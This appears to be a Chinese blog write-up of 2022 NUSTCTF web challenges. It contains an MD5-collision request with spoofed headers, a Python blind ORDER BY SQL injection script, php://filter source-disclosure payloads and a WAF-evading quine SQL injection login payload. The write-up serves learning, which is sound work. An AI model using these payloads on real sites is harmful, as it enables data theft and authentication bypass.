2022NUSTCTF--web

news2024/9/22 15:34:08

ezProtocol

web基础

POST / HTTP/1.1
Host: 43.143.7.97:28520
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
referer:http://localhost/
Accept-Language: zh-CN,zh;q=0.9
x-forwarded-for:127.0.0.1
Connection: close
Content-Type: application/x-www-form-urlencoded
cookie:dinner=big%20meal
Content-Length: 1004

username=admin&p1=abc%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%D6%16y%AC%CE%C5%A1LrY5fn%94%10%D9%01%C3%AC%F8%AAN%21%D0%27%BE%3Ej%A7%22%0C%D08%D3%AF%DFRo%2F%A4%8B%E8%EB45j%E4h%9C%21%22%AB%7E%BC%8E%7C%17%9E%C3Xg%D7%A8%CDHt%BE%AB.%2FWb%3Eb%EA%FC%261%0F_%3D%AFo%3F%1E%DE%E8i%86%7D%BF%C7_Q%CDA%B4%CF%B8n%06Ir%7F%5C%A3k%F9%2AO%DFF%2A%F3%8BcH%FF%85%3F%0D%D0%9B%C7%C8-%12%92&p2=abc%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%D6%16y%AC%CE%C5%A1LrY5fn%94%10%D9%01%C3%ACx%AAN%21%D0%27%BE%3Ej%A7%22%0C%D08%D3%AF%DFRo%2F%A4%8B%E8%EB45%EA%E4h%9C%21%22%AB%7E%BC%8E%7C%17%9E%C3%D8g%D7%A8%CDHt%BE%AB.%2FWb%3Eb%EA%FC%261%0F_%3D%AFo%BF%1E%DE%E8i%86%7D%BF%C7_Q%CDA%B4%CF%B8n%06Ir%7F%5C%A3k%F9%2A%CF%DEF%2A%F3%8BcH%FF%85%3F%0D%D0%9BG%C8-%12%92

Ezsql

order by注入

实际漏洞挖掘中遇到的web利用方式,而且是非常常见的漏洞,一般这种漏洞有个比较明显的特征,传参为desc或asc

分析

打开题目 点击查询后

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-VK8WO1ux-1668666193542)(F:/%E7%AC%94%E8%AE%B0%E5%9B%BE%E7%89%87/image-20221114153015945.png)]

发现是排序,应该就是比较典型的漏洞:order by 排序sql注入

猜测查询语句就是select * from table order by {sort},mysql中排序有两种 desc asc,存在盲注的可能

首先我们先试试堆叠注入和联合注入

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-f8sMxGYv-1668666193543)(F:/%E7%AC%94%E8%AE%B0%E5%9B%BE%E7%89%87/image-20221114153219187.png)]

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-8NzdrTjQ-1668666193543)(F:/%E7%AC%94%E8%AE%B0%E5%9B%BE%E7%89%87/image-20221114153256592.png)]

都不行 这里出题人说是对传递的参数sort进行了处理 无法联合注入和堆叠注入

考虑asc和desc两种状态 可以考虑布尔盲注

但是当时没有考虑当什么姿势利用布尔注入,看到wp后出题人说的是 ,rand(0) ,rand(1) 返回结果不同 可以利用此处 但是原理是什么有点不是很清楚!有无大佬解释下!

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-IF2K8Erx-1668666193544)(F:/%E7%AC%94%E8%AE%B0%E5%9B%BE%E7%89%87/image-20221114153719310.png)]

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-hSpGWiBM-1668666193544)(F:/%E7%AC%94%E8%AE%B0%E5%9B%BE%E7%89%87/image-20221114153728273.png)]

我们写脚本 构造payload

payload

import requests, time

url = "http://47.103.60.98/index.php?sort=desc,"


# mydb
def get_database():
    global url
    flag = ""
    for i in range(1, 30):
        for j in range(32, 127):
            newurl = url + f"rand(if(ascii(substr(database(),{i},1))={j},0,1))"
            resp = requests.get(newurl)
            time.sleep(0.05)
            # print(i,j,chr(j))
            if resp.text.find("Allen") > resp.text.find("Mary"):
                flag += chr(j)
                print(flag)
                break
            elif j == 126:
                return

# position
def get_tables():
    global url
    flag = ""
    for i in range(1, 30):
        for j in range(32, 127):
            new_url = url + f"rand(if(ascii(substr((select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema=database()),{i},1))={j},0,1))"
            resp = requests.get(new_url)
            # print(j)
            if resp.text.find("Allen") > resp.text.find("Mary"):
                flag += chr(j)
                print(flag)
                break
            elif j == 126:
                return
# id,name,position
def get_columns(table):
    global url
    flag = ""
    for i in range(1, 30):
        for j in range(32, 127):
            new_url = url + f"rand(if(ascii(substr((select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name='{table}'),{i},1))={j},0,1))"
            resp = requests.get(new_url)
            print(j)
            if resp.text.find("Allen") > resp.text.find("Mary"):
                flag += chr(j)
                print(flag)
                break
            elif j == 126:
                return
def get_value(column,table):
    global url
    flag = ""
    for i in range(1, 30):
        for j in range(32, 127):
            new_url = url + f"rand(if(ascii(substr((select/**/{column}/**/from/**/{table}/**/limit/**/2,1),{i},1))={j},0,1))"
            resp = requests.get(new_url)
            if resp.text.find("Allen") > resp.text.find("Mary"):
                flag += chr(j)
                print(flag)
                break
            elif j == 126:
                return
# get_database()
# get_tables()
# get_columns("position")
# flag{f96cb1d4fa4022d1616b799367f078a3}
get_value('name','position')
get_value('position','position')

有时候 group_concat 查不出来的 limit 可以试试

Translate

quine注入

为什么叫translate,是因为一开始的难点是用的pgsql数据库中的translate函数来代替最终payload中的部分replace函数。但是由于一些原因最终还是换成了mysql数据库

过滤了char(),用十六进制代替。限制了replace的使用次数最多为三次,大小写可以绕过

分析

打开题目 一个登录框

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-uSB6xwaY-1668666193544)(F:/%E7%AC%94%E8%AE%B0%E5%9B%BE%E7%89%87/image-20221114150335473.png)]

查看源码,发现敏感信息 base64解码看看,是 test.php 访问他看看

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-hqAZqAem-1668666193545)(F:/%E7%AC%94%E8%AE%B0%E5%9B%BE%E7%89%87/image-20221114150406504.png)]

给出一段php代码

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-6TRLAkLS-1668666193546)(F:/%E7%AC%94%E8%AE%B0%E5%9B%BE%E7%89%87/image-20221114150457442.png)]

首先传入的file不能是文件名,is_file 可以通过php伪协议或者伪造目录绕过

而且我们发现存在filter

先尝试传值 看看过滤了什么

base64 string index fun 都被禁用

我们使用读取源码

php://filter/convert.iconv.UTF-7.UCS-4*/resource=flag.php

这里给出常见的php伪协议读取源码的方式

php://filter/read/convert.base64-encode/resource=flag.php
php://filter/NewStar/read=string.rot13/resource=flag.php
php://filter/convert.iconv.UTF-7.UCS-4*/resource=flag.php

发现给出了部分的源码

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-KmzL0163-1668666193546)(F:/%E7%AC%94%E8%AE%B0%E5%9B%BE%E7%89%87/image-20221114150818817.png)]

我们从上面可以看出

  • 首先对输入的密码进行检查,存在过滤
  • 其次当输入的密码和查询的密码一致时输出flag,典型的quine注入

但是用户名我们未知 这里可以猜测一下 猜测不到可以弱用户民爆破,一猜就猜到了 admin (最常用的)

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-0Bc1qP8h-1668666193546)(F:/%E7%AC%94%E8%AE%B0%E5%9B%BE%E7%89%87/image-20221114151736021.png)]

基本payload
xxxxxreplace(replace('str',char(34),char(39)),char(46),'str')#
str:(str中有单引号的话要写成双引号)
xxxxxreplace(replace(".",char(34),char(39)),char(46),".")#

1'union/**/select/**/replace(replace('1"union/**/select/**/replace(REPLACE(".",0x34,0x39),0x46,".")#',0x34,0x39),0x46,'1"union/**/select/**/REPLACE(REPLACE(".",0x34,0x39),0x46,".")#')#

构造payload
1'union/**/select/**/replace(replace('1"union/**/select/**/replace(replace(".",char(34),char(39)),char(46),".")#',char(34),char(39)),char(46),'1"union/**/select/**/replace(replace(".",char(34),char(39)),char(46),".")#')#

然后发现被waf挡住了

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-AFTyrv4K-1668666193547)(F:/%E7%AC%94%E8%AE%B0%E5%9B%BE%E7%89%87/image-20221114152001339.png)]

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-ldVwdD8a-1668666193547)(F:/%E7%AC%94%E8%AE%B0%E5%9B%BE%E7%89%87/image-20221114152029111.png)]

大概waf过滤了:char 空格

  • 查找发现过滤了char 我们使用0x替换
  • replace的次数不能超过三次 使用大小写绕过限制

修改payload

Y'union/**/select/**/replace(REPLACE('Y"union/**/select/**/replace(REPLACE(".",0x22,0x27),0x2e,".")#',0x22,0x27),0x2e,'Y"union/**/select/**/replace(REPLACE(".",0x22,0x27),0x2e,".")#')#

输出了flag

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-ewT646Z0-1668666193548)(F:/%E7%AC%94%E8%AE%B0%E5%9B%BE%E7%89%87/image-20221114152842712.png)]

payload

password=Y'union/**/select/**/replace(REPLACE('Y"union/**/select/**/replace(REPLACE(".",0x22,0x27),0x2e,".")#',0x22,0x27),0x2e,'Y"union/**/select/**/replace(REPLACE(".",0x22,0x27),0x2e,".")#')#&username=admin

java的不太会!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/12730.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Linux信号

目录注意信号概念用kill -l命令可以查看系统定义的信号列表信号处理常见方式概览产生信号1. 通过终端按键产生信号Core Dump2. 调用系统函数向进程发信号3. 由软件条件产生信号4. 硬件异常产生信号信号捕捉模拟一下野指针异常总结阻塞信号1. 信号其他相关常见概念2. 在内核中的…

Jest单测实践篇

快照测试 快照测试在你要确保你的UI没有发生改变的时候非常有用。jest的快照测试为文本测试,第一次执行时存储本次的快照,然后在之后的测试过程中进行文本比对。 toMatchSnapshot() 方法 import React from react; import Link from ../Link.react; i…

Python编程 列表的常用方法

作者简介:一名在校计算机学生、每天分享Python的学习经验、和学习笔记。 座右铭:低头赶路,敬事如仪 个人主页:网络豆的主页​​​​​​ 目录 前言 一.字符串(str) 1.字符串常见操作(熟悉) 2.L.append(object) 3.L.exten…

前端开发环境搭建

1.安装git 去官网下载git安装包https://gitforwindows.org/ 2.配置ssh公钥这样再操作git 的时候就不用输入密码了 1、鼠标右键,点击 ‘git bash here’ 2、配置一下name 、eamil git config --global user.name 用户名 git config --global user.email 邮箱 3…

Spring 6面向切面编程aop详解

面向切面编程十五、面向切面编程AOP15.1 AOP介绍15.2 AOP的七大术语15.3 切点表达式15.4 使用Spring的AOP15.4.1 准备工作15.4.2 基于AspectJ的AOP注解式开发实现步骤通知类型切面的先后顺序优化使用切点表达式全注解式开发AOP15.4.3 基于XML配置方式的AOP(了解&…

Windows 10下部署Java环境——jdk1.8.0_301版本

文章目录JDK安装JDK的环境配置验证JDK配置成功JDK安装 JDK1.8.0_301版本资源:https://download.csdn.net/download/qq_43408367/87061076?spm1001.2014.3001.5503 安装步骤参考:Windows 10下部署Java环境——JDK 11.0.2版本 JDK的环境配置 “我的电…

配置静态ip,主机名,centos安装jdk,hadoop等

切换到root用户操作 su root配置ip地址和ip地址的配置,网关,域名解析 vim /etc/sysconfig/network-scripts/ifcfg-ens33linux⾥的bootproto的none,static,dhcp有什么区别这个是⽹络配置参数: BOOTPROTOstatic 静态IP BOOTPROTOdhcp 动态IP…

消息队列 RocketMQ 5.0:从消息服务到云原生事件流平台

前言 回顾 RocketMQ 的发展历程,至今已十年有余。2022 年 RocketMQ 5.0 正式发布,全面迈进云原生时代。 11 月 5 日,2022 杭州 云栖大会上,阿里云智能高级产品专家杨秋弟在云原生峰会上发表主题演讲,发布消息队列 R…

【蓝桥杯冲击国赛计划第6天】字典

文章目录1. 字典1.1 概念1.2 字典的定义1.3 字典的添加1.4 字典的修改1.5 字典的删除1.6 字典的访问1.7 字典的排序2. 实例「弗里的语言」题目描述输入描述输出描述输入输出样例示例1示例2运行限制2.1 简单分析2.2 初始化2.3 get 访问2.4 补充2.5 完整代码3. 实例「快递分拣」题…

关于编辑器QScintilla(Scintilla)词法分析器取消非活动代码灰色显示

入门,首先看我这两篇博客:关于QScintilla库的入门大全https://biao2488890051.blog.csdn.net/article/details/126798996?spm1001.2014.3001.5502 关于编辑器QScintilla(Scintilla)词法分析器工作原理的分析(实现注释…

MATLAB算法实战应用案例精讲-【智能优化算法】黏菌算法(SMA)(附MATLAB实现代码)

前言 黏菌觅食算法(Slime Mould Algorithm,SMA)由Li及Mirjalili教授等人于2020年提出,主要模拟了黏菌的扩散及觅食行为,利用自适应权重模拟了基于生物振荡器的“黏菌传播波”产生正反馈和负反馈的过程,形成具有良好的探索能力和开发倾向的食物最优连接路径,因此具有较好的…

JavaSE之反射

目录Class类反射的概念反射的好处反射的应用场景三种获取Class对象的方式Class类中的方法Class中获取构造器的方法获取成员方法对象获取成员变量反射案例最后Class类 Class类创建的对象我们称为Class对象/类对象/字节码对象 Class对象会保存类中的信息(构造方法, 成员方法, 成…

STM32CubeMX新建工程并点亮一个LED

可提前看:STM32CubeMX环境安装(保姆级) 目录 进入STM32CubeMX界面 双击软件,可能会出现的弹窗 更改固件路径 新建工程 进入配置环境 以一个点灯程序为例 GPIO配置 输出电平设置 输出模式 上下拉 输出速度 ​编辑 U…

【笑小枫的SpringBoot系列】【十六】SpringBoot生成PDF

关于笑小枫💕 Hello,我是笑小枫,欢迎来到我的世界,喜欢的朋友关注一下我呦,大伙的支持,就是我坚持写下去的动力。 笑小枫个人博客:https://www.xiaoxiaofeng.com 本文源码:https://g…

DVWA之SQL注入(盲注)

文章目录方法一:基于布尔盲注1.判断是否存在注入,注入类型2.猜数据库名3.猜解数据库中的表名4.猜列名5.猜表中的字段值方法二:基于时间盲注1.判断是否存在注入,注入是字符型还是数字型2.猜解当前数据库名3.猜解数据库中的表名4.猜…

ASPNetZero 11.4 Release Angular + MVC + Crack

Asp. NET 带有现代UI和稳定的结构,是新的网页应用的起点。它会提供预建和工作页以及很强的基本构造。 基础解决方案 你的下一个网络应用程序 ASP.NET Zero 是具有现代 UI 和 SOLID 架构以及完整源代码的新 Web 应用程序的起点。 ASP.NET Zero的好处 ASP.NET Zero 通…

化合物应用-动物给药方式

给药方式 针对实验动物的给药方式有很多种,总体可分为局部给药和系统给药。系统给药又可分为肠外给药和肠内给药。 1.1 肠内给药(Enteral administration) 口服(per os,p.o)给药由于具有经济、方便、安全…

虚拟形象sdk哪个好?可以快速制作专属元宇宙形象

元宇宙的火爆,催生了很多提供元宇宙基座的服务商,目前市面上提供虚拟形象SDK的服务商不少于20家,这里小编给大家推荐ZEGO即构科技的Avatar虚拟形象SDK。 即构Avatar虚拟形象SDK概述 即构Avatar支持自定义管理人物的虚拟形象,通过默…

【虹科新品】 HK-MR430330绝对式光纤编码器(上)

虹科MR430&330系列绝对式光纤编码器是用于确定轴位置的角度计,均为纯光学无源设计。HK-MR330系列适用于间隔距离较大的编码器和控制器,HK-MR430 系列适用于由于体积小而提供小空间的系统。与增量式旋转编码器相比,测量值在开启后立即可用…

【JAVA程序设计】基于SSM的图书管理系统-有论文文档

基于SSM的图书管理系统-有文档项目获取项目简介开发环境项目技术功能结构文档目录运行截图项目获取 获取方式(点击下载):是云猿实战 项目经过多人测试运行,可以确保100%成功运行。 项目简介 这是一个基于ssm的图书管理系统&…